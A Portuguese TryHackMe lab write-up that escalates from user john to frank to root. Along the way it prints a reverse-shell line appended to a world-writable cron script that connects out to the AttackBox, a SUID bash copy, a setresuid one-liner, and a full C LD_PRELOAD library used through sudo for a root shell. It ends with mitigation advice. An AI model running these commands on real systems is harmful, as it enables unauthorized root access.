Linux Privilege Escalation - Cron, SUID e LD_PRELOAD
Introdução
Nesta room do TryHackMe, comecei com acesso ao Ubuntu 24.04.4 LTS como john. A escalação aconteceu em duas etapas: john → frank → root, explorando configurações inseguras, sem descobrir senhas.
AttackBox: 10.66.74.81
Target: 10.66.174.173
Laboratório autorizado. Os endereços podem mudar quando a VM é reiniciada.
Enumeração como john
Transferi ferramentas do AttackBox por HTTP e testei LinPEAS, LinEnum, Linux Exploit Suggester (LES), Linux Checker e pspy. As sugestões de CVEs do LES não foram necessárias. A enumeração manual identificou o arquivo mais interessante, e o pspy confirmou que o cron era executado por frank.
id
cat /etc/os-release
find /opt /usr/local/bin /home -type f -writable -printf '%p\n' 2>/dev/null
ls -l /opt/scripts/backup.sh
cat /etc/cron.d/frank-backup
cat /opt/scripts/backup.sh
Descobri que /opt/scripts/backup.sh pertencia a frank, mas tinha permissão 777 (-rwxrwxrwx): qualquer usuário podia modificá-lo.
O cron continha:
* * * * * frank /opt/scripts/backup.sh
O script original fazia o backup:
#!/bin/bash
tar czf /tmp/backup-$(date +%Y%m%d).tar.gz /home/frank/Documents 2>/dev/null
A captura relevante do pspy era:
UID=1002 /bin/bash /opt/scripts/backup.sh
UID=1002 tar czf /tmp/backup-20261011.tar.gz /home/frank/Documents
Conclusão: o cron executava o script a cada minuto com os privilégios de frank, não de root. Como john podia alterá-lo, poderia acrescentar comandos que rodariam como frank.
john → frank: duas alternativas
Antes, uma boa prática é guardar o script original:
cp /opt/scripts/backup.sh /tmp/backup.sh.original
Alternativa A — Reverse shell
No AttackBox, abrir o listener:
nc -lvnp 4444
No alvo, acrescentar ao script:
cat >> /opt/scripts/backup.sh <<'EOF'
bash -c 'bash -i >& /dev/tcp/10.66.74.81/4444 0>&1'
EOF
Na execução seguinte, o Bash do alvo inicia uma conexão TCP para o listener e entrega uma shell como frank. Não precisamos de um segundo nc no alvo: /dev/tcp é um recurso do Bash.
Alternativa B — Bash SUID (utilizada)
Em vez de abrir uma conexão, fiz o cron copiar o próprio Bash:
echo 'cp /bin/bash /tmp/frankbash && chmod 4755 /tmp/frankbash' >> /opt/scripts/backup.sh
Depois de o cron executar:
ls -l /tmp/frankbash
/tmp/frankbash -p
id
Resultado:
uid=1001(john) gid=1001(john) euid=1002(frank)
O que é o Bash? É um programa que interpreta comandos Linux. O arquivo /bin/bash é o executável desse programa — não é um token nem uma senha.
Por que copiar funciona? O cron cria a cópia como frank. Com chmod 4755, ativamos o SUID, que permite executar esse programa com o UID efetivo do proprietário. O -p mantém esse privilégio no Bash. O processo ainda tem UID real de john, mas EUID de frank. O método exige que o sistema de arquivos não esteja montado com nosuid.
Com esses privilégios, li a primeira flag:
cat /home/frank/flag.txt
THM{Frank_Pwned_Privesc}
Por que sudo -l ainda mostrava john?
Na shell SUID, sudo -l ainda identificava o usuário john. O SUID altera o EUID (identidade efetiva), mas não necessariamente o UID real, utilizado pelo sudo para identificar o usuário que invoca o comando.
Para assumir o UID real de frank, executei na shell SUID:
python3 -c 'import os; os.setresuid(1002,1002,1002); os.execl("/bin/bash","bash","-i")'
setresuid() ajusta UIDs real, efetivo e salvo; execl() abre o Bash. O GID continuou de john, pois não foi alterado.
Agora, como frank:
id
sudo -l
Descobri duas regras importantes:
env_keep+=LD_PRELOAD
(root) NOPASSWD: /usr/bin/id
Frank podia executar /usr/bin/id como root sem senha, e o sudo preservava a variável de ambiente LD_PRELOAD.
frank → root com LD_PRELOAD
LD_PRELOAD informa ao carregador dinâmico quais bibliotecas compartilhadas (.so) carregar antes de iniciar normalmente um executável. Se o sudo permite preservar essa variável, uma biblioteca controlada pelo usuário pode executar código dentro de um processo privilegiado.
Criei uma biblioteca C:
cat > /tmp/root.c <<'EOF'
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
static void start(void) {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
execl("/bin/bash", "bash", "-p", (char *)NULL);
}
EOF
O atributo constructor executa a função ao carregar a biblioteca; unsetenv evita carregamentos repetidos; setuid(0) e setgid(0) definem root; execl() abre a shell.
Compilei e executei usando o comando autorizado no sudo:
gcc -fPIC -shared -o /tmp/root.so /tmp/root.c
sudo LD_PRELOAD=/tmp/root.so /usr/bin/id
id
cat /root/flag.txt
Resultado:
uid=0(root) gid=0(root) groups=0(root)
THM{Priv_Ch@l_D0ne}
Root obtido. O problema não é o programa id, e sim permitir que um executável iniciado como root carregue uma biblioteca controlada por frank.
Por que não trocar a senha de frank?
Nossa escalação explorou permissões de execução, não credenciais. O comando passwd normalmente exige a senha atual quando executado pelo próprio usuário; chpasswd exige privilégios de root para alterar senhas diretamente. Como já conseguíamos executar comandos como frank, trocar a senha seria desnecessário.
Comandos, operadores e conceitos
| Item | Explicação |
|---|---|
| UID / EUID | Identidade real / efetiva do processo |
| GID | Identificador do grupo |
| SUID | Executa um programa com o EUID do dono do arquivo |
chmod +x |
Adiciona permissão de execução; não concede root |
chmod 4755 |
Ativa SUID e define permissões 755 |
bash -p |
Preserva privilégios efetivos do Bash |
sudo -l |
Consulta permissões no sudoers |
LD_PRELOAD |
Pré-carrega bibliotecas compartilhadas |
gcc -fPIC -shared |
Compila uma biblioteca compartilhada |
>> |
Acrescenta conteúdo ao final do arquivo |
&& |
Executa o próximo comando somente se o anterior funcionar |
2>/dev/null |
Oculta mensagens de erro |
find ... -printf '%p\n' |
Mostra somente os caminhos encontrados |
Dicas e mitigação
- Enumeração: investigue primeiro scripts graváveis, crons e processos. As sugestões do LES não comprovaram exploração; o pspy ajudou a confirmar o processo executado por frank.
- SUID: diferencie UID real de EUID. Esse detalhe explicou por que
sudo -lainda identificava john. - Menor privilégio: remova permissão de escrita pública de scripts agendados e revise seus proprietários; um script protegido por
root:rootcom permissão755pode continuar legível e executável por frank sem ser modificável por usuários comuns. - sudoers: não preserve
LD_PRELOAD; revise permissõesNOPASSWDe mantenha o ambiente do sudo restrito. - Limpeza: restaure o script de backup e remova artefatos temporários ao concluir testes autorizados.
Referências
Conclusão
john
↓ script de backup gravável executado por cron
frank (reverse shell ou Bash SUID)
↓ sudo preservando LD_PRELOAD
root
A room reforçou o mais importante da escalação Linux: descobrir o que posso modificar, quem executa esse arquivo e quais privilégios esse processo recebe.